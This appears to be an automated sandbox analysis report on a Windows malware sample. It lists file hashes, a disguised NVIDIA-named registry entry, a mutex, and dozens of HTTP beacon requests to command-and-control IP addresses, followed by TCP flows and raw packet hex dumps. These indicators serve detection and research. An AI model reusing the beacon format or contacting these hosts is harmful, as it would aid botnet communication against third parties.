Analysis Date2014-09-11 02:51:21
MD510e9646998b3f4ca62fa9eac39b82951
SHA1a57de43cd4cf715ce513e3fc5f8210100cadb217

Static Details:

File typePE32 executable for MS Windows (GUI) Intel 80386
Section.text md5: 514c9481bc3c44e9865f0a030deeced9 sha1: 37c47d93328045d4a25507701ca94aa590dcf7f4 size: 8192
Section.rdata md5: cbaeaa9915e92e2d8087eebf1bce4d25 sha1: 4a2adde1dd8fdfdd01434382bf04a36a3942d797 size: 4096
Section.data md5: 418c01fc8791a4db607dcc118771f531 sha1: 0a72ed6518b1c1e9892a4efe1e11a8a517e13780 size: 20480
Section.idata md5: 3d9047d33f9c562fe3dcef7482160d31 sha1: 1c50fcda9a9c7125c535572f03e8abe6ef5a1bae size: 4096
Section.rsrc md5: ea7a5a5da4b1aff62396e7b74020b1fd sha1: 1e085f15e5dc987592a0118ded83b3e6ff855caf size: 28672
Sectionreloc md5: 0132625760b471b5f5c88bfd26e281f3 sha1: 2063aae3a28d0b50ece86bb66412fe364338efd6 size: 4096
Timestamp2014-08-09 17:31:38
PEhash1b0615f9cdc016fc8265ba38179aa35fc50013b4
IMPhash60ff1adac03b0fe258a0191f0ece9e9f

Runtime Details:

Screenshot

Process
↳ C:\malware.exe

Creates ProcessC:\malware.exe

Process
↳ C:\malware.exe

RegistryHKEY_CURRENT_USER\SOFTWARE\NVIDIA Corporation\Global\nvUpdSrv\value ➝
20140830\\x00
Creates File\Device\Afd\Endpoint
Creates MutexGlobal\MD7H82HHF7EH2D73

Network Details:

HTTP GEThttp://195.62.29.94:49891/stat?uid=100&downlink=1111&uplink=1111&id=0004ABCD&statpass=bpass&version=20140830&features=30&guid=56f849fe-60e3-41e5-88c9-d5e870aa10c9&comment=20140830&p=0&s=
User-Agent:
HTTP GEThttp://188.252.0.237:33097/stat?uid=100&downlink=1111&uplink=1111&id=0004C010&statpass=bpass&version=20140830&features=30&guid=56f849fe-60e3-41e5-88c9-d5e870aa10c9&comment=20140830&p=0&s=
User-Agent:
HTTP GEThttp://207.54.136.33:39791/stat?uid=100&downlink=1111&uplink=1111&id=0004D3D7&statpass=bpass&version=20140830&features=30&guid=56f849fe-60e3-41e5-88c9-d5e870aa10c9&comment=20140830&p=0&s=
User-Agent:
HTTP GEThttp://178.151.195.163:44937/stat?uid=100&downlink=1111&uplink=1111&id=0004E7AD&statpass=bpass&version=20140830&features=30&guid=56f849fe-60e3-41e5-88c9-d5e870aa10c9&comment=20140830&p=0&s=
User-Agent:
HTTP GEThttp://168.166.73.170:27174/stat?uid=100&downlink=1111&uplink=1111&id=0004FB83&statpass=bpass&version=20140830&features=30&guid=56f849fe-60e3-41e5-88c9-d5e870aa10c9&comment=20140830&p=0&s=
User-Agent:
HTTP GEThttp://195.175.227.173:19592/stat?uid=100&downlink=1111&uplink=1111&id=00050F78&statpass=bpass&version=20140830&features=30&guid=56f849fe-60e3-41e5-88c9-d5e870aa10c9&comment=20140830&p=0&s=
User-Agent:
HTTP GEThttp://129.82.103.78:36034/stat?uid=100&downlink=1111&uplink=1111&id=0005234E&statpass=bpass&version=20140830&features=30&guid=56f849fe-60e3-41e5-88c9-d5e870aa10c9&comment=20140830&p=0&s=
User-Agent:
HTTP GEThttp://176.223.119.253:18625/stat?uid=100&downlink=1111&uplink=1111&id=00053705&statpass=bpass&version=20140830&features=30&guid=56f849fe-60e3-41e5-88c9-d5e870aa10c9&comment=20140830&p=0&s=
User-Agent:
HTTP GEThttp://188.165.233.189:36427/stat?uid=100&downlink=1111&uplink=1111&id=00054ABC&statpass=bpass&version=20140830&features=30&guid=56f849fe-60e3-41e5-88c9-d5e870aa10c9&comment=20140830&p=0&s=
User-Agent:
HTTP GEThttp://212.83.149.150:62059/stat?uid=100&downlink=1111&uplink=1111&id=00055E83&statpass=bpass&version=20140830&features=30&guid=56f849fe-60e3-41e5-88c9-d5e870aa10c9&comment=20140830&p=0&s=
User-Agent:
HTTP GEThttp://82.196.1.50:25127/stat?uid=100&downlink=1111&uplink=1111&id=00057249&statpass=bpass&version=20140830&features=30&guid=56f849fe-60e3-41e5-88c9-d5e870aa10c9&comment=20140830&p=0&s=
User-Agent:
HTTP GEThttp://23.21.52.60:35596/stat?uid=100&downlink=1111&uplink=1111&id=00058610&statpass=bpass&version=20140830&features=30&guid=56f849fe-60e3-41e5-88c9-d5e870aa10c9&comment=20140830&p=0&s=
User-Agent:
HTTP GEThttp://74.113.233.83:29283/stat?uid=100&downlink=1111&uplink=1111&id=000599C6&statpass=bpass&version=20140830&features=30&guid=56f849fe-60e3-41e5-88c9-d5e870aa10c9&comment=20140830&p=0&s=
User-Agent:
HTTP GEThttp://216.146.46.11:38597/stat?uid=100&downlink=1111&uplink=1111&id=0005AD9D&statpass=bpass&version=20140830&features=30&guid=56f849fe-60e3-41e5-88c9-d5e870aa10c9&comment=20140830&p=0&s=
User-Agent:
HTTP GEThttp://173.236.10.10:47298/stat?uid=100&downlink=1111&uplink=1111&id=0005C163&statpass=bpass&version=20140830&features=30&guid=56f849fe-60e3-41e5-88c9-d5e870aa10c9&comment=20140830&p=0&s=
User-Agent:
HTTP GEThttp://62.212.128.22:12898/stat?uid=100&downlink=1111&uplink=1111&id=0005D558&statpass=bpass&version=20140830&features=30&guid=56f849fe-60e3-41e5-88c9-d5e870aa10c9&comment=20140830&p=0&s=
User-Agent:
HTTP GEThttp://94.242.250.32:32048/stat?uid=100&downlink=1111&uplink=1111&id=0005E91F&statpass=bpass&version=20140830&features=30&guid=56f849fe-60e3-41e5-88c9-d5e870aa10c9&comment=20140830&p=0&s=
User-Agent:
HTTP GEThttp://94.242.250.32:32048/stat?uid=100&downlink=1111&uplink=1111&id=0005FCF5&statpass=bpass&version=20140830&features=30&guid=56f849fe-60e3-41e5-88c9-d5e870aa10c9&comment=20140830&p=0&s=
User-Agent:
HTTP GEThttp://82.102.11.115:15396/stat?uid=100&downlink=1111&uplink=1111&id=000610AC&statpass=bpass&version=20140830&features=30&guid=56f849fe-60e3-41e5-88c9-d5e870aa10c9&comment=20140830&p=0&s=
User-Agent:
HTTP GEThttp://82.102.11.115:15396/stat?uid=100&downlink=1111&uplink=1111&id=00062482&statpass=bpass&version=20140830&features=30&guid=56f849fe-60e3-41e5-88c9-d5e870aa10c9&comment=20140830&p=0&s=
User-Agent:
HTTP GEThttp://204.14.213.177:13023/stat?uid=100&downlink=1111&uplink=1111&id=00063868&statpass=bpass&version=20140830&features=30&guid=56f849fe-60e3-41e5-88c9-d5e870aa10c9&comment=20140830&p=0&s=
User-Agent:
HTTP GEThttp://78.46.54.252:21580/stat?uid=100&downlink=1111&uplink=1111&id=00064C5D&statpass=bpass&version=20140830&features=30&guid=56f849fe-60e3-41e5-88c9-d5e870aa10c9&comment=20140830&p=0&s=
User-Agent:
HTTP GEThttp://176.28.50.147:58264/stat?uid=100&downlink=1111&uplink=1111&id=00066043&statpass=bpass&version=20140830&features=30&guid=56f849fe-60e3-41e5-88c9-d5e870aa10c9&comment=20140830&p=0&s=
User-Agent:
HTTP GEThttp://129.82.103.78:36034/stat?uid=100&downlink=1111&uplink=1111&id=00067419&statpass=bpass&version=20140830&features=30&guid=56f849fe-60e3-41e5-88c9-d5e870aa10c9&comment=20140830&p=0&s=
User-Agent:
HTTP GEThttp://23.21.52.60:35596/stat?uid=100&downlink=1111&uplink=1111&id=000687EF&statpass=bpass&version=20140830&features=30&guid=56f849fe-60e3-41e5-88c9-d5e870aa10c9&comment=20140830&p=0&s=
User-Agent:
HTTP GEThttp://192.71.151.14:60541/stat?uid=100&downlink=1111&uplink=1111&id=00069BC5&statpass=bpass&version=20140830&features=30&guid=56f849fe-60e3-41e5-88c9-d5e870aa10c9&comment=20140830&p=0&s=
User-Agent:
HTTP GEThttp://176.58.116.234:35621/stat?uid=100&downlink=1111&uplink=1111&id=0006AFAB&statpass=bpass&version=20140830&features=30&guid=56f849fe-60e3-41e5-88c9-d5e870aa10c9&comment=20140830&p=0&s=
User-Agent:
HTTP GEThttp://193.222.50.2:54663/stat?uid=100&downlink=1111&uplink=1111&id=0006C372&statpass=bpass&version=20140830&features=30&guid=56f849fe-60e3-41e5-88c9-d5e870aa10c9&comment=20140830&p=0&s=
User-Agent:
HTTP GEThttp://129.82.103.78:36034/stat?uid=100&downlink=1111&uplink=1111&id=0006D748&statpass=bpass&version=20140830&features=30&guid=56f849fe-60e3-41e5-88c9-d5e870aa10c9&comment=20140830&p=0&s=
User-Agent:
HTTP GEThttp://216.146.46.11:38597/stat?uid=100&downlink=1111&uplink=1111&id=0006EB0E&statpass=bpass&version=20140830&features=30&guid=56f849fe-60e3-41e5-88c9-d5e870aa10c9&comment=20140830&p=0&s=
User-Agent:
HTTP GEThttp://108.178.62.114:28654/stat?uid=100&downlink=1111&uplink=1111&id=0006FED5&statpass=bpass&version=20140830&features=30&guid=56f849fe-60e3-41e5-88c9-d5e870aa10c9&comment=20140830&p=0&s=
User-Agent:
HTTP GEThttp://62.212.128.22:12898/stat?uid=100&downlink=1111&uplink=1111&id=0007127C&statpass=bpass&version=20140830&features=30&guid=56f849fe-60e3-41e5-88c9-d5e870aa10c9&comment=20140830&p=0&s=
User-Agent:
HTTP GEThttp://193.111.2.42:31710/stat?uid=100&downlink=1111&uplink=1111&id=00072652&statpass=bpass&version=20140830&features=30&guid=56f849fe-60e3-41e5-88c9-d5e870aa10c9&comment=20140830&p=0&s=
User-Agent:
HTTP GEThttp://173.236.10.10:47298/stat?uid=100&downlink=1111&uplink=1111&id=00073A09&statpass=bpass&version=20140830&features=30&guid=56f849fe-60e3-41e5-88c9-d5e870aa10c9&comment=20140830&p=0&s=
User-Agent:
HTTP GEThttp://195.12.48.190:61307/stat?uid=100&downlink=1111&uplink=1111&id=00074DCF&statpass=bpass&version=20140830&features=30&guid=56f849fe-60e3-41e5-88c9-d5e870aa10c9&comment=20140830&p=0&s=
User-Agent:
HTTP GEThttp://202.125.108.1:40015/stat?uid=100&downlink=1111&uplink=1111&id=00076186&statpass=bpass&version=20140830&features=30&guid=56f849fe-60e3-41e5-88c9-d5e870aa10c9&comment=20140830&p=0&s=
User-Agent:
HTTP GEThttp://213.132.45.225:47791/stat?uid=100&downlink=1111&uplink=1111&id=0007756C&statpass=bpass&version=20140830&features=30&guid=56f849fe-60e3-41e5-88c9-d5e870aa10c9&comment=20140830&p=0&s=
User-Agent:
HTTP GEThttp://79.133.192.206:41023/stat?uid=100&downlink=1111&uplink=1111&id=00078923&statpass=bpass&version=20140830&features=30&guid=56f849fe-60e3-41e5-88c9-d5e870aa10c9&comment=20140830&p=0&s=
User-Agent:
HTTP GEThttp://46.22.146.9:26084/stat?uid=100&downlink=1111&uplink=1111&id=00079CDA&statpass=bpass&version=20140830&features=30&guid=56f849fe-60e3-41e5-88c9-d5e870aa10c9&comment=20140830&p=0&s=
User-Agent:
HTTP GEThttp://80.67.28.188:25548/stat?uid=100&downlink=1111&uplink=1111&id=0007B0C0&statpass=bpass&version=20140830&features=30&guid=56f849fe-60e3-41e5-88c9-d5e870aa10c9&comment=20140830&p=0&s=
User-Agent:
HTTP GEThttp://87.117.201.135:16193/stat?uid=100&downlink=1111&uplink=1111&id=0007C496&statpass=bpass&version=20140830&features=30&guid=56f849fe-60e3-41e5-88c9-d5e870aa10c9&comment=20140830&p=0&s=
User-Agent:
HTTP GEThttp://82.102.11.115:15396/stat?uid=100&downlink=1111&uplink=1111&id=0007D84D&statpass=bpass&version=20140830&features=30&guid=56f849fe-60e3-41e5-88c9-d5e870aa10c9&comment=20140830&p=0&s=
User-Agent:
HTTP GEThttp://75.101.129.31:33391/stat?uid=100&downlink=1111&uplink=1111&id=0007EC23&statpass=bpass&version=20140830&features=30&guid=56f849fe-60e3-41e5-88c9-d5e870aa10c9&comment=20140830&p=0&s=
User-Agent:
HTTP GEThttp://109.104.94.2:11754/stat?uid=100&downlink=1111&uplink=1111&id=0007FFF9&statpass=bpass&version=20140830&features=30&guid=56f849fe-60e3-41e5-88c9-d5e870aa10c9&comment=20140830&p=0&s=
User-Agent:
HTTP GEThttp://199.173.225.5:35979/stat?uid=100&downlink=1111&uplink=1111&id=000813CF&statpass=bpass&version=20140830&features=30&guid=56f849fe-60e3-41e5-88c9-d5e870aa10c9&comment=20140830&p=0&s=
User-Agent:
HTTP GEThttp://178.18.137.179:17653/stat?uid=100&downlink=1111&uplink=1111&id=000827A5&statpass=bpass&version=20140830&features=30&guid=56f849fe-60e3-41e5-88c9-d5e870aa10c9&comment=20140830&p=0&s=
User-Agent:
HTTP GEThttp://5.39.119.213:42661/stat?uid=100&downlink=1111&uplink=1111&id=00083B6C&statpass=bpass&version=20140830&features=30&guid=56f849fe-60e3-41e5-88c9-d5e870aa10c9&comment=20140830&p=0&s=
User-Agent:
HTTP GEThttp://46.165.233.149:35173/stat?uid=100&downlink=1111&uplink=1111&id=00084F51&statpass=bpass&version=20140830&features=30&guid=56f849fe-60e3-41e5-88c9-d5e870aa10c9&comment=20140830&p=0&s=
User-Agent:
HTTP GEThttp://222.82.218.14:45570/stat?uid=100&downlink=1111&uplink=1111&id=00086318&statpass=bpass&version=20140830&features=30&guid=56f849fe-60e3-41e5-88c9-d5e870aa10c9&comment=20140830&p=0&s=
User-Agent:
HTTP GEThttp://61.175.227.159:27247/stat?uid=100&downlink=1111&uplink=1111&id=000876EE&statpass=bpass&version=20140830&features=30&guid=56f849fe-60e3-41e5-88c9-d5e870aa10c9&comment=20140830&p=0&s=
User-Agent:
HTTP GEThttp://188.165.17.213:51340/stat?uid=100&downlink=1111&uplink=1111&id=00088AB4&statpass=bpass&version=20140830&features=30&guid=56f849fe-60e3-41e5-88c9-d5e870aa10c9&comment=20140830&p=0&s=
User-Agent:
HTTP GEThttp://128.199.198.182:32136/stat?uid=100&downlink=1111&uplink=1111&id=00089E8B&statpass=bpass&version=20140830&features=30&guid=56f849fe-60e3-41e5-88c9-d5e870aa10c9&comment=20140830&p=0&s=
User-Agent:
HTTP GEThttp://77.75.49.140:23516/stat?uid=100&downlink=1111&uplink=1111&id=0008B261&statpass=bpass&version=20140830&features=30&guid=56f849fe-60e3-41e5-88c9-d5e870aa10c9&comment=20140830&p=0&s=
User-Agent:
HTTP GEThttp://123.30.174.195:18387/stat?uid=100&downlink=1111&uplink=1111&id=0008C627&statpass=bpass&version=20140830&features=30&guid=56f849fe-60e3-41e5-88c9-d5e870aa10c9&comment=20140830&p=0&s=
User-Agent:
HTTP GEThttp://188.252.0.237:33097/stat?uid=100&downlink=1111&uplink=1111&id=0008D9EE&statpass=bpass&version=20140830&features=30&guid=56f849fe-60e3-41e5-88c9-d5e870aa10c9&comment=20140830&p=0&s=
User-Agent:
HTTP GEThttp://213.146.173.215:60098/stat?uid=100&downlink=1111&uplink=1111&id=0008EDC4&statpass=bpass&version=20140830&features=30&guid=56f849fe-60e3-41e5-88c9-d5e870aa10c9&comment=20140830&p=0&s=
User-Agent:
HTTP GEThttp://195.12.48.190:61307/stat?uid=100&downlink=1111&uplink=1111&id=0009018A&statpass=bpass&version=20140830&features=30&guid=56f849fe-60e3-41e5-88c9-d5e870aa10c9&comment=20140830&p=0&s=
User-Agent:
HTTP GEThttp://141.101.113.162:21614/stat?uid=100&downlink=1111&uplink=1111&id=00091541&statpass=bpass&version=20140830&features=30&guid=56f849fe-60e3-41e5-88c9-d5e870aa10c9&comment=20140830&p=0&s=
User-Agent:
HTTP GEThttp://192.225.208.11:32965/stat?uid=100&downlink=1111&uplink=1111&id=00092937&statpass=bpass&version=20140830&features=30&guid=56f849fe-60e3-41e5-88c9-d5e870aa10c9&comment=20140830&p=0&s=
User-Agent:
HTTP GEThttp://194.58.88.50:61107/stat?uid=100&downlink=1111&uplink=1111&id=00093CFD&statpass=bpass&version=20140830&features=30&guid=56f849fe-60e3-41e5-88c9-d5e870aa10c9&comment=20140830&p=0&s=
User-Agent:
HTTP GEThttp://79.136.118.230:49649/stat?uid=100&downlink=1111&uplink=1111&id=000950D3&statpass=bpass&version=20140830&features=30&guid=56f849fe-60e3-41e5-88c9-d5e870aa10c9&comment=20140830&p=0&s=
User-Agent:
HTTP GEThttp://208.80.56.11:19141/stat?uid=100&downlink=1111&uplink=1111&id=000964B9&statpass=bpass&version=20140830&features=30&guid=56f849fe-60e3-41e5-88c9-d5e870aa10c9&comment=20140830&p=0&s=
User-Agent:
HTTP GEThttp://195.184.9.198:29296/stat?uid=100&downlink=1111&uplink=1111&id=000978AE&statpass=bpass&version=20140830&features=30&guid=56f849fe-60e3-41e5-88c9-d5e870aa10c9&comment=20140830&p=0&s=
User-Agent:
HTTP GEThttp://222.82.218.14:45570/stat?uid=100&downlink=1111&uplink=1111&id=00098C84&statpass=bpass&version=20140830&features=30&guid=56f849fe-60e3-41e5-88c9-d5e870aa10c9&comment=20140830&p=0&s=
User-Agent:
HTTP GEThttp://5.39.119.213:42661/stat?uid=100&downlink=1111&uplink=1111&id=0009A220&statpass=bpass&version=20140830&features=30&guid=56f849fe-60e3-41e5-88c9-d5e870aa10c9&comment=20140830&p=0&s=
User-Agent:
HTTP GEThttp://98.173.250.108:19004/stat?uid=100&downlink=1111&uplink=1111&id=0009B5D7&statpass=bpass&version=20140830&features=30&guid=56f849fe-60e3-41e5-88c9-d5e870aa10c9&comment=20140830&p=0&s=
User-Agent:
HTTP GEThttp://107.170.145.242:22740/stat?uid=100&downlink=1111&uplink=1111&id=0009C98D&statpass=bpass&version=20140830&features=30&guid=56f849fe-60e3-41e5-88c9-d5e870aa10c9&comment=20140830&p=0&s=
User-Agent:
HTTP GEThttp://216.177.150.107:20261/stat?uid=100&downlink=1111&uplink=1111&id=0009DD25&statpass=bpass&version=20140830&features=30&guid=56f849fe-60e3-41e5-88c9-d5e870aa10c9&comment=20140830&p=0&s=
User-Agent:
HTTP GEThttp://50.28.0.72:25880/stat?uid=100&downlink=1111&uplink=1111&id=0009F0BD&statpass=bpass&version=20140830&features=30&guid=56f849fe-60e3-41e5-88c9-d5e870aa10c9&comment=20140830&p=0&s=
User-Agent:
HTTP GEThttp://98.173.250.108:19004/stat?uid=100&downlink=1111&uplink=1111&id=000A04B2&statpass=bpass&version=20140830&features=30&guid=56f849fe-60e3-41e5-88c9-d5e870aa10c9&comment=20140830&p=0&s=
User-Agent:
HTTP GEThttp://178.32.186.69:48011/stat?uid=100&downlink=1111&uplink=1111&id=000A184A&statpass=bpass&version=20140830&features=30&guid=56f849fe-60e3-41e5-88c9-d5e870aa10c9&comment=20140830&p=0&s=
User-Agent:
Flows TCP192.168.1.1:1031 ➝ 195.62.29.94:49891
Flows TCP192.168.1.1:1031 ➝ 195.62.29.94:49891
Flows TCP192.168.1.1:1032 ➝ 188.252.0.237:33097
Flows TCP192.168.1.1:1033 ➝ 207.54.136.33:39791
Flows TCP192.168.1.1:1034 ➝ 178.151.195.163:44937
Flows TCP192.168.1.1:1035 ➝ 168.166.73.170:27174
Flows TCP192.168.1.1:1036 ➝ 195.175.227.173:19592
Flows TCP192.168.1.1:1037 ➝ 129.82.103.78:36034
Flows TCP192.168.1.1:1038 ➝ 176.223.119.253:18625
Flows TCP192.168.1.1:1039 ➝ 188.165.233.189:36427
Flows TCP192.168.1.1:1040 ➝ 212.83.149.150:62059
Flows TCP192.168.1.1:1041 ➝ 82.196.1.50:25127
Flows TCP192.168.1.1:1042 ➝ 23.21.52.60:35596
Flows TCP192.168.1.1:1043 ➝ 74.113.233.83:29283
Flows TCP192.168.1.1:1044 ➝ 216.146.46.11:38597
Flows TCP192.168.1.1:1045 ➝ 173.236.10.10:47298
Flows TCP192.168.1.1:1046 ➝ 62.212.128.22:12898
Flows TCP192.168.1.1:1047 ➝ 94.242.250.32:32048
Flows TCP192.168.1.1:1048 ➝ 94.242.250.32:32048
Flows TCP192.168.1.1:1049 ➝ 82.102.11.115:15396
Flows TCP192.168.1.1:1050 ➝ 82.102.11.115:15396
Flows TCP192.168.1.1:1051 ➝ 204.14.213.177:13023
Flows TCP192.168.1.1:1052 ➝ 78.46.54.252:21580
Flows TCP192.168.1.1:1053 ➝ 176.28.50.147:58264
Flows TCP192.168.1.1:1054 ➝ 129.82.103.78:36034
Flows TCP192.168.1.1:1055 ➝ 23.21.52.60:35596
Flows TCP192.168.1.1:1056 ➝ 192.71.151.14:60541
Flows TCP192.168.1.1:1057 ➝ 176.58.116.234:35621
Flows TCP192.168.1.1:1058 ➝ 193.222.50.2:54663
Flows TCP192.168.1.1:1059 ➝ 129.82.103.78:36034
Flows TCP192.168.1.1:1060 ➝ 216.146.46.11:38597
Flows TCP192.168.1.1:1061 ➝ 108.178.62.114:28654
Flows TCP192.168.1.1:1062 ➝ 62.212.128.22:12898
Flows TCP192.168.1.1:1063 ➝ 193.111.2.42:31710
Flows TCP192.168.1.1:1064 ➝ 173.236.10.10:47298
Flows TCP192.168.1.1:1065 ➝ 195.12.48.190:61307
Flows TCP192.168.1.1:1066 ➝ 202.125.108.1:40015
Flows TCP192.168.1.1:1067 ➝ 213.132.45.225:47791
Flows TCP192.168.1.1:1068 ➝ 79.133.192.206:41023
Flows TCP192.168.1.1:1069 ➝ 46.22.146.9:26084
Flows TCP192.168.1.1:1070 ➝ 80.67.28.188:25548
Flows TCP192.168.1.1:1071 ➝ 87.117.201.135:16193
Flows TCP192.168.1.1:1072 ➝ 82.102.11.115:15396
Flows TCP192.168.1.1:1073 ➝ 75.101.129.31:33391
Flows TCP192.168.1.1:1074 ➝ 109.104.94.2:11754
Flows TCP192.168.1.1:1075 ➝ 199.173.225.5:35979
Flows TCP192.168.1.1:1076 ➝ 178.18.137.179:17653
Flows TCP192.168.1.1:1077 ➝ 5.39.119.213:42661
Flows TCP192.168.1.1:1078 ➝ 46.165.233.149:35173
Flows TCP192.168.1.1:1079 ➝ 222.82.218.14:45570
Flows TCP192.168.1.1:1080 ➝ 61.175.227.159:27247
Flows TCP192.168.1.1:1081 ➝ 188.165.17.213:51340
Flows TCP192.168.1.1:1082 ➝ 128.199.198.182:32136
Flows TCP192.168.1.1:1083 ➝ 77.75.49.140:23516
Flows TCP192.168.1.1:1084 ➝ 123.30.174.195:18387
Flows TCP192.168.1.1:1085 ➝ 188.252.0.237:33097
Flows TCP192.168.1.1:1086 ➝ 213.146.173.215:60098
Flows TCP192.168.1.1:1087 ➝ 195.12.48.190:61307
Flows TCP192.168.1.1:1088 ➝ 141.101.113.162:21614
Flows TCP192.168.1.1:1089 ➝ 192.225.208.11:32965
Flows TCP192.168.1.1:1090 ➝ 194.58.88.50:61107
Flows TCP192.168.1.1:1091 ➝ 79.136.118.230:49649
Flows TCP192.168.1.1:1092 ➝ 208.80.56.11:19141
Flows TCP192.168.1.1:1093 ➝ 195.184.9.198:29296
Flows TCP192.168.1.1:1096 ➝ 222.82.218.14:45570
Flows TCP192.168.1.1:1097 ➝ 5.39.119.213:42661
Flows TCP192.168.1.1:1098 ➝ 98.173.250.108:19004
Flows TCP192.168.1.1:1099 ➝ 107.170.145.242:22740
Flows TCP192.168.1.1:1100 ➝ 216.177.150.107:20261
Flows TCP192.168.1.1:1101 ➝ 50.28.0.72:25880
Flows TCP192.168.1.1:1102 ➝ 98.173.250.108:19004
Flows TCP192.168.1.1:1103 ➝ 178.32.186.69:48011

Raw Pcap
0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30303441 42434426 73746174 70617373   004ABCD&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38333026 66656174 75726573   0140830&features
0x00000060 (00096)   3d333026 67756964 3d353666 38343966   =30&guid=56f849f
0x00000070 (00112)   652d3630 65332d34 3165352d 38386339   e-60e3-41e5-88c9
0x00000080 (00128)   2d643565 38373061 61313063 3926636f   -d5e870aa10c9&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 33302670   mment=20140830&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30303443 30313026 73746174 70617373   004C010&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38333026 66656174 75726573   0140830&features
0x00000060 (00096)   3d333026 67756964 3d353666 38343966   =30&guid=56f849f
0x00000070 (00112)   652d3630 65332d34 3165352d 38386339   e-60e3-41e5-88c9
0x00000080 (00128)   2d643565 38373061 61313063 3926636f   -d5e870aa10c9&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 33302670   mment=20140830&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30303444 33443726 73746174 70617373   004D3D7&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38333026 66656174 75726573   0140830&features
0x00000060 (00096)   3d333026 67756964 3d353666 38343966   =30&guid=56f849f
0x00000070 (00112)   652d3630 65332d34 3165352d 38386339   e-60e3-41e5-88c9
0x00000080 (00128)   2d643565 38373061 61313063 3926636f   -d5e870aa10c9&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 33302670   mment=20140830&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30303445 37414426 73746174 70617373   004E7AD&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38333026 66656174 75726573   0140830&features
0x00000060 (00096)   3d333026 67756964 3d353666 38343966   =30&guid=56f849f
0x00000070 (00112)   652d3630 65332d34 3165352d 38386339   e-60e3-41e5-88c9
0x00000080 (00128)   2d643565 38373061 61313063 3926636f   -d5e870aa10c9&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 33302670   mment=20140830&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30303446 42383326 73746174 70617373   004FB83&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38333026 66656174 75726573   0140830&features
0x00000060 (00096)   3d333026 67756964 3d353666 38343966   =30&guid=56f849f
0x00000070 (00112)   652d3630 65332d34 3165352d 38386339   e-60e3-41e5-88c9
0x00000080 (00128)   2d643565 38373061 61313063 3926636f   -d5e870aa10c9&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 33302670   mment=20140830&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30303530 46373826 73746174 70617373   0050F78&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38333026 66656174 75726573   0140830&features
0x00000060 (00096)   3d333026 67756964 3d353666 38343966   =30&guid=56f849f
0x00000070 (00112)   652d3630 65332d34 3165352d 38386339   e-60e3-41e5-88c9
0x00000080 (00128)   2d643565 38373061 61313063 3926636f   -d5e870aa10c9&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 33302670   mment=20140830&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30303532 33344526 73746174 70617373   005234E&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38333026 66656174 75726573   0140830&features
0x00000060 (00096)   3d333026 67756964 3d353666 38343966   =30&guid=56f849f
0x00000070 (00112)   652d3630 65332d34 3165352d 38386339   e-60e3-41e5-88c9
0x00000080 (00128)   2d643565 38373061 61313063 3926636f   -d5e870aa10c9&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 33302670   mment=20140830&p
